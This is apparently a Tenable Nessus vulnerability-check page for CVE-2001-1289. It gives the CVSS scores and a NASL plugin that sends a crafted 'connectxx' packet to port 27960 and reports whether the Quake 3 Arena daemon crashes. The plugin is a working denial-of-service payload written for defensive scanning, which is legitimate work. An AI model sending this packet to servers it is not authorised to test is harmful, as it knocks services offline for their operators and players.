CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
EPSS
Percentile
84.2%
It was possible to crash the Quake3 Arena daemon by sending a specially crafted login string.
An attacker may use this attack to make this service crash continuously, preventing you from playing.
#
# (C) Tenable Network Security, Inc.
#
# Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
# Erik Anderson <[email protected]>
# Added BugtraqID and CVE
#
include("compat.inc");
if (description)
{
script_id(10931);
script_version("1.22");
script_cvs_date("Date: 2018/07/25 18:58:06");
script_cve_id("CVE-2001-1289");
script_bugtraq_id(3123);
script_name(english:"Quake 3 Arena Malformed Connection Packet DoS");
script_summary(english:"Quake3 Arena DOS");
script_set_attribute(attribute:"synopsis", value:"The remote server is vulnerable to a denial of service.");
script_set_attribute(attribute:"description", value:
"It was possible to crash the Quake3 Arena daemon by sending a
specially crafted login string.
An attacker may use this attack to make this service crash
continuously, preventing you from playing.");
script_set_attribute(attribute:"solution", value:"Upgrade your software.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2001/07/30");
script_set_attribute(attribute:"plugin_publication_date", value:"2002/03/29");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
script_family(english:"Windows");
script_require_keys("Settings/ParanoidReport");
script_require_ports(27960);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
function test_q3_port(port)
{
local_var s, soc;
if (! get_port_state(port))
return(0);
soc = open_sock_tcp(port);
if (!soc)
return(0);
s = string(raw_string(0xFF, 0xFF, 0xFF, 0xFF), "connectxx");
send(socket:soc, data:s);
close(soc);
if (service_is_dead(port: port) > 0)
security_warning(port);
return(1);
}
if (report_paranoia < 2) audit(AUDIT_PARANOID);
test_q3_port(port:27960);